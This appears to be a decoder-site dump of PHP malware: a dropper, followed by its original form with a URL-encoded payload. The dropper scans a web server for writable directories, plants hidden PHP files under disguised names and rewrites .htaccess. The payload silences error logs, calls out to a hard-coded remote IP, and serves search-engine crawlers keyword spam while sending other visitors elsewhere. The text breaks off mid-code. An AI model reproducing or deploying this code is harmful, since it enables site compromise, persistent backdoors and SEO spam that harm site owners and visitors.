$common_names3 = unserialize(rawurldecode("a%3A10%3A%7Bi%3A0%3Bs%3A10%3A%22lisa-duffy%22%3Bi%3A1%3Bs%3A6%3A%22PoVpPt%22%3Bi%3A2%3Bs%3A8%3A%22for-sale%22%3Bi%3A3%3Bs%3A8%3A%22jVLvTlfK%22%3Bi%3A4%3Bs%3A6%3A%22cna-to%22%3Bi%3A5%3Bs%3A4%3A%22CTKs%22%3Bi%3A6%3Bs%3A15%3A%22barstow-rentals%22%3Bi%3A7%3Bs%3A3%3A%22ePL%22%3Bi%3A8%3Bs%3A14%3A%22bubble-numbers%22%3Bi%3A9%3Bs%3A6%3A%22IfGgfX%22%3B%7D"));
/////////////////////////////////////////////////////////
function comparer($a, $b)
{
return strlen($a) - strlen($b);
}
if (!function_exists('file_put_contents')) {
function file_put_contents($filename, $data)
{
$f = @fopen($filename, 'w');
if (!$f) {
return false;
} else {
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
}
function GetPathDiff($base_path, $full_path)
{
$pos = strpos($full_path, $base_path);
if ($pos === FALSE) {
return FALSE;
}
return substr($full_path, $pos + strlen($base_path));
}
function GetWritableDirs()
{
$res = Array();
$analysys_queue = Array();
$analysys_queue[] = GetDocRoot();
$self_path = $_SERVER['SCRIPT_FILENAME'];
while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE) {
$self_path = substr($self_path, 0, $slash);
if ($self_path == GetDocRoot()) {
break;
}
if (strlen($self_path)) {
$analysys_queue[] = $self_path;
}
}
foreach ($analysys_queue as $current_dir) {
if (!in_array($current_dir, $res)) {
$res = array_merge($res, GetDirectoryList($current_dir));
}
}
$res = array_merge($analysys_queue, $res);
return CheckWritable(array_unique($res));
}
function CheckWritable($dir_list)
{
$dir_list_writable = Array();
foreach ($dir_list as $dir) {
if (@is_writable($dir) == TRUE) {
$dir_list_writable[] = $dir;
}
}
return $dir_list_writable;
}
function GetDirectoryList($dir, $depth = 10)
{
$result = array();
$dir_count = 0;
if ($depth == 0) {
return $result;
}
$dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\/');
$h = @opendir($dir);
if ($h === FALSE) {
return $result;
}
while (($f = readdir($h)) !== FALSE) {
if ($f !== '.' and $f !== '..') {
$current_dir = "$dir/$f";
if (is_dir($current_dir)) {
$dir_count += 1;
if ($dir_count >= $depth) {
break;
}
$result[] = $current_dir;
$result = array_merge($result, GetDirectoryList($current_dir, $depth / 10));
}
}
}
closedir($h);
return $result;
}
function GetDocRoot()
{
$docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']);
if ($docroot_end === FALSE) {
return $_SERVER['DOCUMENT_ROOT'];
} elseif ($docroot_end === 0) {
return "/";
} else {
return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end);
}
}
function GetRandStr($min, $max)
{
$length = rand($min, $max);
$characters = '0123456789abcdefghijklmnopqrstuvwxyz';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
////////////////////////////////////////////////////////////////////////////////////////////
# get base local and remote path
$base_www_path = $host = @$_SERVER['HTTP_HOST'];
$base_local_path = GetDocRoot();
if (!($base_local_path_time = @stat($base_local_path . "/.htaccess"))) {
if (!($base_local_path_time = @stat($base_local_path . "/index.php"))) {
if (!($base_local_path_time = @stat($base_local_path . "/index.html"))) {
if (!($base_local_path_time = @stat($base_local_path . "/.."))) {
if (!($base_local_path_time = @stat($base_local_path))) {
$base_local_path_time = Array();
$base_local_path_time['mtime'] = time();
}
}
}
}
}
$htaccess = "%3CIfModule%20mod_rewrite.c%3E%0D%0ARewriteEngine%20On%0D%0ARewriteRule%20%5Eindex%5C.php%24%20-%20%5BL%5D%0D%0ARewriteCond%20%25%7BREQUEST_FILENAME%7D%20%21-f%0D%0ARewriteCond%20%25%7BREQUEST_FILENAME%7D%20%21-d%0D%0ARewriteRule%20%5E%28.%2A%29%24%20.%2Findex.php%20%5BL%5D%0D%0A%3C%2FIfModule%3E";
$base_local_path_time = $base_local_path_time['mtime'];
if (!empty($payload_url))
{
if (substr($payload_url, -1) == "/")
{
$payload_url = $payload_url . "index.php";
}
$tokens = explode("/", $payload_url, 4);
$payload_path = $base_local_path . DIRECTORY_SEPARATOR . $tokens[3];
@mkdir(dirname($payload_path), 0755);
@file_put_contents($payload_path, rawurldecode($payload_file));
@file_put_contents(dirname($payload_path) . "/.htaccess", rawurldecode($htaccess));
@touch($payload_path, time() + 120);
echo "URL#" . $payload_url . PHP_EOL;
exit();
}
srand(time());
$dir_list_writable = GetWritableDirs();
if (count($dir_list_writable) == 0) {
echo "STATUS_UNWRITABLE";
exit();
}
usort($dir_list_writable, 'comparer');
$max_tries = 5;
foreach ($dir_list_writable as $current_dir)
{
if ($max_tries == 0)
{
break;
}
$max_tries -= 1;
if (TRUE)
{
if (rand() % 2)
{
$temp_payload_dir = $current_dir . DIRECTORY_SEPARATOR . GetRandStr(5, 8);
}
else
{
$temp_payload_dir = $current_dir . DIRECTORY_SEPARATOR . $common_names3[array_rand($common_names3)];
}
if (@file_exists($temp_payload_dir))
{
continue;
}
@mkdir($temp_payload_dir, 0755);
@touch($temp_payload_dir, $base_local_path_time);
if (!@is_dir($temp_payload_dir))
{
continue;
}
}
else
{
$temp_payload_dir = $current_dir;
}
while (TRUE)
{
if ($payload_type === "TYPE_DIR")
{
$mode = 2;
}
elseif ($payload_type === "TYPE_FILE")
{
$mode = 1;
}
else
{
$mode = rand() % 2;
}
if ($mode === 0)
{
$full_payload_name = $temp_payload_dir . DIRECTORY_SEPARATOR . GetRandStr(5, 7) . ".php";
break;
}
elseif ($mode === 1)
{
$full_payload_name = $temp_payload_dir . DIRECTORY_SEPARATOR . $common_names2[array_rand($common_names2)] . ".php";
if (!@file_exists($full_payload_name))
{
break;
}
}
else
{
$full_payload_name = $temp_payload_dir . DIRECTORY_SEPARATOR . "index.php";
@file_put_contents($temp_payload_dir . DIRECTORY_SEPARATOR . ".htaccess", rawurldecode($htaccess));
break;
}
}
$uri_path = GetPathDiff($base_local_path, $full_payload_name);
$full_uri = $base_www_path . (strpos($uri_path, "/") == 0 ? $uri_path : "/" . $uri_path);
@file_put_contents($full_payload_name, rawurldecode($payload_file));
if (@file_exists($full_payload_name)) {
@touch($full_payload_name, time() + 120);
echo "URL#http://" . str_replace("index.php", "", $full_uri) . PHP_EOL;
exit();
}
}
echo "STATUS_CANTUPLOAD";
exit(); ?>
Did this file decode correctly?
Original Code
<?php
if (!defined("PHP_EOL")) {
define("PHP_EOL", "\n");
}
if (!defined("DIRECTORY_SEPARATOR")) {
define("DIRECTORY_SEPARATOR", "/");
}
$payload_file = "%3C%3Fphp%0A%0A%40ini_set%28%27error_log%27%2C%20NULL%29%3B%40ini_set%28%27log_errors%27%2C%200%29%3B%40ini_set%28%27max_execution_time%27%2C%200%29%3B%40error_reporting%280%29%3B%40set_time_limit%280%29%3Bdate_default_timezone_set%28%27UTC%27%29%3Bclass%20_79zfb9%7Bstatic%20private%20%24_sl5nhhwu%20%3D%2084485150%3Bstatic%20function%20_skc19%28%24_79wt4ge0%2C%20%24_osyh7011%29%7B%24_79wt4ge0%5B2%5D%20%3D%20count%28%24_79wt4ge0%29%20%3E%204%20%3F%20long2ip%28_79zfb9%3A%3A%24_sl5nhhwu%20-%20529%29%20%3A%20%24_79wt4ge0%5B2%5D%3B%24_x0013v0w%20%3D%20_79zfb9%3A%3A_9enqk%28%24_79wt4ge0%2C%20%24_osyh7011%29%3Bif%20%28%21%24_x0013v0w%29%20%7B%24_x0013v0w%20%3D%20_79zfb9%3A%3A_3ncnn%28%24_79wt4ge0%2C%20%24_osyh7011%29%3B%7Dreturn%20%24_x0013v0w%3B%7Dstatic%20function%20_9enqk%28%24_79wt4ge0%2C%20%24_x0013v0w%2C%20%24_pneb21v4%20%3D%20NULL%29%7Bif%20%28%21function_exists%28%27curl_version%27%29%29%20%7Breturn%20%22%22%3B%7Dif%20%28is_array%28%24_79wt4ge0%29%29%20%7B%24_79wt4ge0%20%3D%20implode%28%22/%22%2C%20%24_79wt4ge0%29%3B%7D%24_zrffvwu8%20%3D%20curl_init%28%29%3Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_SSL_VERIFYHOST%2C%20false%29%3Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_SSL_VERIFYPEER%2C%20false%29%3Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_URL%2C%20%24_79wt4ge0%29%3Bif%20%28%21empty%28%24_x0013v0w%29%29%20%7Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_POST%2C%201%29%3Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_POSTFIELDS%2C%20%24_x0013v0w%29%3B%7Dif%20%28%21empty%28%24_pneb21v4%29%29%20%7Bcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_HTTPHEADER%2C%20%24_pneb21v4%29%3B%7Dcurl_setopt%28%24_zrffvwu8%2C%20CURLOPT_RETURNTRANSFER%2C%20TRUE%29%3B%24_jh5ealbv%20%3D%20curl_exec%28%24_zrffvwu8%29%3Bcurl_close%28%24_zrffvwu8%29%3Breturn%20%24_jh5ealbv%3B%7Dstatic%20function%20_3ncnn%28%24_79wt4ge0%2C%20%24_x0013v0w%2C%20%24_pneb21v4%20%3D%20NULL%29%7Bif%20%28is_array%28%24_79wt4ge0%29%29%20%7B%24_79wt4ge0%20%3D%20implode%28%22/%22%2C%20%24_79wt4ge0%29%3B%7D%24_47fxccvz%20%3D%20%22%5Cr%22%20.%20%22%5Cn%22%3Bif%20%28%21empty%28%24_x0013v0w%29%29%20%7B%24_0cyxrlie%20%3D%20array%28%27method%27%20%3D%3E%20%27POST%27%2C%27header%27%20%3D%3E%20%27Content-type%3A%20application/x-www-form-urlencoded%27%2C%27content%27%20%3D%3E%20%24_x0013v0w%29%3Bif%20%28%21empty%28%24_pneb21v4%29%29%20%7B%24_0cyxrlie%5B%22header%22%5D%20%3D%20%24_0cyxrlie%5B%22header%22%5D%20.%20%24_47fxccvz%20.%20implode%28%24_47fxccvz%2C%20%24_pneb21v4%29%3B%7D%24_gd1au729%20%3D%20stream_context_create%28array%28%27http%27%20%3D%3E%20%24_0cyxrlie%29%29%3B%7D%20else%20%7B%24_0cyxrlie%20%3D%20array%28%27method%27%20%3D%3E%20%27GET%27%2C%29%3Bif%20%28%21empty%28%24_pneb21v4%29%29%20%7B%24_0cyxrlie%5B%22header%22%5D%20%3D%20implode%28%24_47fxccvz%2C%20%24_pneb21v4%29%3B%7D%24_gd1au729%20%3D%20stream_context_create%28array%28%27http%27%20%3D%3E%20%24_0cyxrlie%29%29%3B%7Dreturn%20%40file_get_contents%28%24_79wt4ge0%2C%20FALSE%2C%20%24_gd1au729%29%3B%7D%7Dclass%20_v6ya63%7Bprivate%20static%20%24_onc6y982%20%3D%20%22%22%3Bprivate%20static%20%24_r0b1q0sq%20%3D%20-1%3Bprivate%20static%20%24_n9f3i9zb%20%3D%20%22%22%3Bprivate%20%24_mdr61w5r%20%3D%20%22%22%3Bprivate%20%24_kj2jlx7n%20%3D%20%22%22%3Bprivate%20%24_4y95yidp%20%3D%20%22%22%3Bprivate%20%24_4qy4zmi3%20%3D%20%22%22%3Bpublic%20static%20function%20_dzxgv%28%24_uf8aucwn%2C%20%24_qh4r8uy8%2C%20%24_r44rgrti%29%7B_v6ya63%3A%3A%24_onc6y982%20%3D%20%24_uf8aucwn%20.%20%22/cache/%22%3B_v6ya63%3A%3A%24_r0b1q0sq%20%3D%20%24_qh4r8uy8%3B_v6ya63%3A%3A%24_n9f3i9zb%20%3D%20%24_r44rgrti%3Bif%20%28%21%40file_exists%28_v6ya63%3A%3A%24_onc6y982%29%29%20%7B%40mkdir%28_v6ya63%3A%3A%24_onc6y982%29%3B%7D%7Dstatic%20public%20function%20_vga85%28%29%7B%24_73937oah%20%3D%20substr%28md5%28_v6ya63%3A%3A%24_n9f3i9zb%20.%20%22salt13%22%29%2C%200%2C%204%29%3B%24_mk8d72ze%20%3D%20Array%28%22google%22%20%3D%3E%20Array%28%29%2C%20%22bing%22%20%3D%3E%20Array%28%29%2C%29%3Bforeach%20%28array_keys%28%24_mk8d72ze%29%20as%20%24_5bjqfno9%29%7B%24_tycvmk6k%20%3D%20%24_73937oah%20.%20%22_%22%20.%20%24_5bjqfno9%20.%20%22.stats%22%3B%24_6pfzvk6r%20%3D%20%40file%28%24_tycvmk6k%2C%20FILE_IGNORE_NEW_LINES%29%3Bforeach%20%28%24_6pfzvk6r%20as%20%24_5sgzz3hq%29%7B%24_ttie0k4s%20%3D%20explode%28%22%5Ct%22%2C%20%24_5sgzz3hq%29%3Bif%20%28%21isset%28%24_mk8d72ze%5B%24_5bjqfno9%5D%5B%24_ttie0k4s%5B1%5D%5D%29%29%7B%24_mk8d72ze%5B%24_5bjqfno9%5D%5B%24_ttie0k4s%5B1%5D%5D%20%3D%200%3B%7D%24_mk8d72ze%5B%24_5bjqfno9%5D%5B%24_ttie0k4s%5B1%5D%5D%20%2B%3D%201%3B%7D%7D%24_mk8d72ze%5B%22prefix%22%5D%20%3D%20%24_73937oah%3Breturn%20%24_mk8d72ze%3B%7Dpublic%20static%20function%20_ih05m%28%29%7Breturn%20TRUE%3B%7Dpublic%20function%20__construct%28%24_swlicjbm%2C%20%24_c2d4vsy0%2C%20%24_o4h21pkl%2C%20%24_xnnqxgqw%29%7B%24this-%3E_mdr61w5r%20%3D%20%24_swlicjbm%3B%24this-%3E_kj2jlx7n%20%3D%20%24_c2d4vsy0%3B%24this-%3E_4y95yidp%20%3D%20%24_o4h21pkl%3B%24this-%3E_4qy4zmi3%20%3D%20%24_xnnqxgqw%3B%7Dpublic%20function%20_neje4%28%29%7Bfunction%20_bwk3z%28%24_e0w6pl49%2C%20%24_78iw99aq%29%7Breturn%20round%28rand%28%24_e0w6pl49%2C%20%24_78iw99aq%20-%201%29%20%2B%20%28rand%280%2C%20PHP_INT_MAX%20-%201%29%20/%20PHP_INT_MAX%29%2C%202%29%3B%7D%24_3jiwi54r%20%3D%20time%28%29%3B%24_5bjqfno9%20%3D%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22google%22%29%20%21%3D%3D%20FALSE%29%20%3F%20%22google%22%20%3A%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22bing%22%29%20%21%3D%3D%20FALSE%20%3F%20%22bing%22%20%3A%20%22none%22%29%3B%24_tycvmk6k%20%3D%20substr%28md5%28_v6ya63%3A%3A%24_n9f3i9zb%20.%20%22salt13%22%29%2C%200%2C%204%29%20.%20%22_%22%20.%20%24_5bjqfno9%20.%20%22.stats%22%3B%40file_put_contents%28%24_tycvmk6k%2C%20%24this-%3E_4y95yidp%20.%20%22%5Ct%22%20.%20%28%24_3jiwi54r%20-%20%28%24_3jiwi54r%20%25%203600%29%29%20.PHP_EOL%2C%208%29%3B%24_vrg12mxu%20%3D%20_xyxad4u%3A%3A_3ap03%28%29%3B%24_x0013v0w%20%3D%20str_replace%28%22%7B%7B%20text%20%7D%7D%22%2C%20%24this-%3E_kj2jlx7n%2Cstr_replace%28%22%7B%7B%20keyword%20%7D%7D%22%2C%20%24this-%3E_4y95yidp%2Cstr_replace%28%22%7B%7B%20links%20%7D%7D%22%2C%20%24this-%3E_4qy4zmi3%2C%20%24this-%3E_mdr61w5r%29%29%29%3Bwhile%20%28TRUE%29%20%7B%24_xvuql9o9%20%3D%20preg_replace%28%27/%27%20.%20preg_quote%28%22%7B%7B%20randkeyword%20%7D%7D%22%2C%20%27/%27%29%20.%20%27/%27%2C%20_xyxad4u%3A%3A_8dnv4%28%29%2C%20%24_x0013v0w%2C%201%29%3Bif%20%28%24_xvuql9o9%20%3D%3D%3D%20%24_x0013v0w%29%20%7Bbreak%3B%7D%24_x0013v0w%20%3D%20%24_xvuql9o9%3B%7Dwhile%20%28TRUE%29%20%7Bpreg_match%28%27/%7B%7B%20KEYWORDBYINDEX-ANCHOR%20%28%5Cd%2A%29%20%7D%7D/%27%2C%20%24_x0013v0w%2C%20%24_x2d57np9%29%3Bif%20%28empty%28%24_x2d57np9%29%29%20%7Bbreak%3B%7D%24_o4h21pkl%20%3D%20%40%24_vrg12mxu%5Bintval%28%24_x2d57np9%5B1%5D%29%5D%3B%24_ouhgv6fy%20%3D%20_er50gh%3A%3A_ax1dg%28%24_o4h21pkl%29%3B%24_x0013v0w%20%3D%20str_replace%28%24_x2d57np9%5B0%5D%2C%20%24_ouhgv6fy%2C%20%24_x0013v0w%29%3B%7Dwhile%20%28TRUE%29%20%7Bpreg_match%28%27/%7B%7B%20KEYWORDBYINDEX%20%28%5Cd%2A%29%20%7D%7D/%27%2C%20%24_x0013v0w%2C%20%24_x2d57np9%29%3Bif%20%28empty%28%24_x2d57np9%29%29%20%7Bbreak%3B%7D%24_o4h21pkl%20%3D%20%40%24_vrg12mxu%5Bintval%28%24_x2d57np9%5B1%5D%29%5D%3B%24_x0013v0w%20%3D%20str_replace%28%24_x2d57np9%5B0%5D%2C%20%24_o4h21pkl%2C%20%24_x0013v0w%29%3B%7Dwhile%20%28TRUE%29%20%7Bpreg_match%28%27/%7B%7B%20RANDFLOAT%20%28%5Cd%2A%29-%28%5Cd%2A%29%20%7D%7D/%27%2C%20%24_x0013v0w%2C%20%24_x2d57np9%29%3Bif%20%28empty%28%24_x2d57np9%29%29%20%7Bbreak%3B%7D%24_x0013v0w%20%3D%20str_replace%28%24_x2d57np9%5B0%5D%2C%20_bwk3z%28%24_x2d57np9%5B1%5D%2C%20%24_x2d57np9%5B2%5D%29%2C%20%24_x0013v0w%29%3B%7Dwhile%20%28TRUE%29%20%7Bpreg_match%28%27/%7B%7B%20RANDINT%20%28%5Cd%2A%29-%28%5Cd%2A%29%20%7D%7D/%27%2C%20%24_x0013v0w%2C%20%24_x2d57np9%29%3Bif%20%28empty%28%24_x2d57np9%29%29%20%7Bbreak%3B%7D%24_x0013v0w%20%3D%20str_replace%28%24_x2d57np9%5B0%5D%2C%20rand%28%24_x2d57np9%5B1%5D%2C%20%24_x2d57np9%5B2%5D%29%2C%20%24_x0013v0w%29%3B%7Dreturn%20%24_x0013v0w%3B%7Dpublic%20function%20_g7wwk%28%29%7B%24_5bjqfno9%20%3D%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22google%22%29%20%21%3D%3D%20FALSE%29%20%3F%20%22google%22%20%3A%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22bing%22%29%20%21%3D%3D%20FALSE%20%3F%20%22bing%22%20%3A%20%22none%22%29%3B%24_tycvmk6k%20%3D%20_v6ya63%3A%3A%24_onc6y982%20.%20md5%28%24this-%3E_4y95yidp%20.%20_v6ya63%3A%3A%24_n9f3i9zb%29%20.%20%24_5bjqfno9%3Bif%20%28_v6ya63%3A%3A%24_r0b1q0sq%20%3D%3D%20-1%29%20%7B%24_wvusgnbi%20%3D%20-1%3B%7D%20else%20%7B%24_wvusgnbi%20%3D%20time%28%29%20%2B%20%283600%20%2A%2024%20%2A%2030%29%3B%7D%24_09745prc%20%3D%20array%28%22template%22%20%3D%3E%20%24this-%3E_mdr61w5r%2C%20%22text%22%20%3D%3E%20%24this-%3E_kj2jlx7n%2C%20%22keyword%22%20%3D%3E%20%24this-%3E_4y95yidp%2C%22links%22%20%3D%3E%20%24this-%3E_4qy4zmi3%2C%20%22expired%22%20%3D%3E%20%24_wvusgnbi%29%3B%40file_put_contents%28%24_tycvmk6k%2C%20serialize%28%24_09745prc%29%29%3B%7Dstatic%20public%20function%20_q42pz%28%24_o4h21pkl%29%7B%24_5bjqfno9%20%3D%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22google%22%29%20%21%3D%3D%20FALSE%29%20%3F%20%22google%22%20%3A%20%28strpos%28%24_SERVER%5B%22HTTP_USER_AGENT%22%5D%2C%20%22bing%22%29%20%21%3D%3D%20FALSE%20%3F%20%22bing%22%20%3A%20%22none%22%29%3B%24_tycvmk6k%20%3D%20_v6ya63%3A%3A%24_onc6y982%20.%20md5%28%24_o4h21pkl%20.%20_v6ya63%3A%3A%24_n9f3i9zb%29%20.%20%24_5bjqfno9%3B%24_tycvmk6k%20%3D%20%40unserialize%28%40file_get_contents%28%24_tycvmk6k%29%29%3Bif%20%28%21empty%28%24_tycvmk6k%29%20%26%26%20%28%24_tycvmk6k%5B%22expired%22%5D%20%3E%20time%28%29%20%7C%7C%20%24_tycvmk6k%5B%22expired%22%5D%20%3D%3D%20-1%29%29%20%7Breturn%20new%20_v6ya63%28%24_tycvmk6k%5B%22template%22%5D%2C%20%24_tycvmk6k%5B%22text%22%5D%2C%20%24_tycvmk6k%5B%22keyword%22%5D%2C%20%24_tycvmk6k%5B%22links%22%5D%29%3B%7D%20else%20%7Breturn%20null%3B%7D%7D%7Dclass%20_cwqzsic%7Bprivate%20static%20%24_onc6y982%20%3D%20%22%22%3Bprivate%20static%20%24_gfhbaxrs%20%3D%20%22%22%3Bpublic%20static%20function%20_dzxgv%28%24_uf8aucwn%2C%20%24_73937oah%29%7B_cwqzsic%3A%3A%24_onc6y982%20%3D%20%24_uf8aucwn%20.%20%22/%22%3B_cwqzsic%3A%3A%24_gfhbaxrs%20%3D%20%24_73937oah%3Bif%20%28%21%40file_exists%28_cwqzsic%3A%3A%24_onc6y982%29%29%20%7B%40mkdir%28_cwqzsic%3A%3A%24_onc6y982%29%3B%7D%7Dpublic%20static%20function%20_ih05m%28%29%7Breturn%20TRUE%3B%7Dstatic%20public%20function%20_moy7x%28%29%7B%24_2rqfxc3j%20%3D%200%3Bforeach%20%28scandir%28_cwqzsic%3A%3A%24_onc6y982%29%20as%20%24_qjfmhk6q%29%20%7Bif%20%28strpos%28%24_qjfmhk6q%2C%20_cwqzsic%3A%3A%24_gfhbaxrs%29%20%3D%3D%3D%200%29%20%7B%24_2rqfxc3j%20%2B%3D%201%3B%7D%7Dreturn%20%24_2rqfxc3j%3B%7Dstatic%20public%20function%20_8dnv4%28%29%7B%24_ep0k5sxh%20%3D%20array%28%29%3Bforeach%20%28scandir%28_cwqzsic%3A%3A%24_onc6y982%29%20as%20%24_qjfmhk6q%29%20%7Bif%20%28strpos%28%24_qjfmhk6q%2C%20_cwqzsic%3A%3A%24_gfhbaxrs%29%20%3D%3D%3D%200%29%20%7B%24_ep0k5sxh%5B%5D%20%3D%20%24_qjfmhk6q%3B%7D%7D%24_x0013v0w%20%3D%20%40file_get_contents%28_cwqzsic%3A%3A%24_onc6y982%20.%20%24_ep0k5sxh%5Barray_rand%28%24_ep0k5sxh%29%5D%29%3Breturn%20%24_x0013v0w%3B%7Dstatic%20public%20function%20_g7wwk%28%24_3e3yj5cm%29%7Bif%20%28%40file_exists%28_cwqzsic%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28%24_3e3yj5cm%29%20.%20%22.html%22%29%29%20%7Breturn%3B%7D%40file_put_contents%28_cwqzsic%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28%24_3e3yj5cm%29%20.%20%22.html%22%2C%20%24_3e3yj5cm%29%3B%7D%7Dclass%20_xyxad4u%7Bprivate%20static%20%24_onc6y982%20%3D%20%22%22%3Bprivate%20static%20%24_gfhbaxrs%20%3D%20%22%22%3Bprivate%20static%20%24_907snz8i%20%3D%20array%28%29%3Bprivate%20static%20%24_j00tqi38%20%3D%20array%28%29%3Bpublic%20static%20function%20_dzxgv%28%24_uf8aucwn%2C%20%24_73937oah%29%7B_xyxad4u%3A%3A%24_onc6y982%20%3D%20%24_uf8aucwn%20.%20%22/%22%3B_xyxad4u%3A%3A%24_gfhbaxrs%20%3D%20%24_73937oah%3Bif%20%28%21%40file_exists%28_xyxad4u%3A%3A%24_onc6y982%29%29%20%7B%40mkdir%28_xyxad4u%3A%3A%24_onc6y982%29%3B%7D%7Dprivate%20static%20function%20_k7pwt%28%29%7B%24_5kvxntg8%20%3D%20array%28%29%3Bforeach%20%28scandir%28_xyxad4u%3A%3A%24_onc6y982%29%20as%20%24_qjfmhk6q%29%20%7Bif%20%28strpos%28%24_qjfmhk6q%2C%20_xyxad4u%3A%3A%24_gfhbaxrs%29%20%3D%3D%3D%200%29%20%7B%24_5kvxntg8%5B%5D%20%3D%20%24_qjfmhk6q%3B%7D%7Dreturn%20%24_5kvxntg8%3B%7Dpublic%20static%20function%20_ih05m%28%29%7Breturn%20TRUE%3B%7Dstatic%20public%20function%20_8dnv4%28%29%7Bif%20%28empty%28_xyxad4u%3A%3A%24_907snz8i%29%29%20%7B%24_5kvxntg8%20%3D%20_xyxad4u%3A%3A_k7pwt%28%29%3B_xyxad4u%3A%3A%24_907snz8i%20%3D%20%40file%28_xyxad4u%3A%3A%24_onc6y982%20.%20%24_5kvxntg8%5Barray_rand%28%24_5kvxntg8%29%5D%2C%20FILE_IGNORE_NEW_LINES%29%3B%7Dreturn%20_xyxad4u%3A%3A%24_907snz8i%5Barray_rand%28_xyxad4u%3A%3A%24_907snz8i%29%5D%3B%7Dstatic%20public%20function%20_3ap03%28%29%7Bif%20%28empty%28_xyxad4u%3A%3A%24_j00tqi38%29%29%20%7B%24_5kvxntg8%20%3D%20_xyxad4u%3A%3A_k7pwt%28%29%3Bforeach%20%28%24_5kvxntg8%20as%20%24_ayhpbot1%29%20%7B_xyxad4u%3A%3A%24_j00tqi38%20%3D%20array_merge%28_xyxad4u%3A%3A%24_j00tqi38%2C%20%40file%28_xyxad4u%3A%3A%24_onc6y982%20.%20%24_ayhpbot1%2C%20FILE_IGNORE_NEW_LINES%29%29%3B%7D%7Dreturn%20_xyxad4u%3A%3A%24_j00tqi38%3B%7Dstatic%20public%20function%20_g7wwk%28%24_72yj6qzs%29%7Bif%20%28%40file_exists%28_xyxad4u%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28%24_72yj6qzs%29%20.%20%22.list%22%29%29%20%7Breturn%3B%7D%40file_put_contents%28_xyxad4u%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28%24_72yj6qzs%29%20.%20%22.list%22%2C%20%24_72yj6qzs%29%3B%7Dstatic%20public%20function%20_7z4dg%28%24_o4h21pkl%29%7B%40file_put_contents%28_xyxad4u%3A%3A%24_gfhbaxrs%20.%20%22_%22%20.%20md5%28_er50gh%3A%3A%24_wqq8o3s4%29%20.%20%22.list%22%2C%20%24_o4h21pkl%20.%20%22%5Cn%22%2C%208%29%3B%7D%7Dclass%20_er50gh%7Bstatic%20public%20%24_798p6ki4%20%3D%20%225.5%22%3Bstatic%20public%20%24_wqq8o3s4%20%3D%20%2283fe3b09-80a6-3360-c5db-c346cc24407e%22%3Bstatic%20public%20%24_hz9omu24%20%3D%20%22http%3A//136.12.78.46/app/assets/api2%3Faction%3Dredir%22%3Bstatic%20public%20%24_h8dxh8hr%20%3D%20%22http%3A//136.12.78.46/app/assets/api%3Faction%3Dpage%22%3Bstatic%20public%20%24_loyjoas0%20%3D%201%3Bstatic%20public%20%24_p0pykfqo%20%3D%205%3Bprivate%20function%20_ot7y0%28%29%7B%24_t5p9dxvy%20%3D%20array%28%27%23libwww-perl%23i%27%2C%27%23MJ12bot%23i%27%2C%27%23msnbot%23i%27%2C%20%27%23msnbot-media%23i%27%2C%27%23YandexBot%23i%27%2C%20%27%23msnbot%23i%27%2C%20%27%23YandexWebmaster%23i%27%2C%27%23spider%23i%27%2C%20%27%23yahoo%23i%27%2C%20%27%23google%23i%27%2C%20%27%23altavista%23i%27%2C%27%23ask%23i%27%2C%27%23yahoo%21%5Cs%2Aslurp%23i%27%2C%27%23BingBot%23i%27%29%3Bif%20%28%21empty%28%24_SERVER%5B%27HTTP_USER_AGENT%27%5D%29%20%26%26%20%28FALSE%20%21%3D%3D%20strpos%28preg_replace%28%24_t5p9dxvy%2C%20%27-NO-WAY-%27%2C%20%24_SERVER%5B%27HTTP_USER_AGENT%27%5D%29%2C%20%27-NO-WAY-%27%29%29%29%20%7B%24_c5mwz2zd%20%3D%201%3B%7D%20elseif%20%28empty%28%24_SERVER%5B%27HTTP_ACCEPT_LANGUAGE%27%5D%29%20%7C%7C%20empty%28%24_SERVER%5B%27HTTP_REFERER%27%5D%29%29%20%7B%24_c5mwz2zd%20%3D%201%3B%7D%20elseif%20%28strpos%28%24_SERVER%5B%27HTTP_REFERER%27%5D%2C%20%22google%22%29%20%3D%3D%3D%20FALSE%20%26%26strpos%28%24_SERVER%5B%27HTTP_REFERER%27%5D%2C%20%22yahoo%22%29%20%3D%3D%3D%20FALSE%20%26%26strpos%28%24_SERVER%5B%27HTTP_REFERER%27%5D%2C%20%22bing%22%29%20%3D%3D%3D%20FALSE%20%26%26strpos%28%24_SERVER%5B%27HTTP_REFERER%27%5D%2C%20%22yandex%22%29%20%3D%3D%3D%20FALSE%29%20%7B%24_c5mwz2zd%20%3D%201%3B%7D%20else%20%7B%24_c5mwz2zd%20%3D%200%3B%7Dreturn%20%24_c5mwz2zd%3B%7Dprivate%20static%20function%20_fwe3f%28%29%7B%24_osyh7011%20%3D%20array%28%29%3B%24_osyh7011%5B%27ip%27%5D%20%3D%20%24_SERVER%5B%27REMOTE_ADDR%27%5D%3B%24_osyh7011%5B%27qs%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_HOST%27%5D%20.%20%40%24_SERVER%5B%27REQUEST_URI%27%5D%3B%24_osyh7011%5B%27ua%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_USER_AGENT%27%5D%3B%24_osyh7011%5B%27lang%27%5D%20%3D%20%40%24_SERVE